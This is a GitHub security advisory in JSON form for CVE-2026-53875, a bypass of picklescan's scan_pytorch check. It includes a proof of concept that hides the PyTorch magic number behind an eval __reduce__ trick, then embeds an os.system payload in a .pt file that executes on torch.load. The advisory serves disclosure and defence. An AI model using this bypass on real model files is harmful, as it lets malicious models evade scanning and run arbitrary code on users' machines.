CVE-2026-53875: Picklescan Picklescan (scan_pytorch) Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97f8-7cmv-76j2",
  "modified" : "2026-06-18T14:43:46Z",
  "published" : "2026-02-18T17:45:52Z",
  "aliases" : [ "CVE-2026-53875" ],
  "summary" : "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER",
  "details" : "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, ('MAGIC_NUMBER',))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__('os').system, ('touch /tmp/hacked',))\n\ntorch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load('./payload.pt', weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-18T17:45:52Z",
    "nvd_published_at" : null
  }
}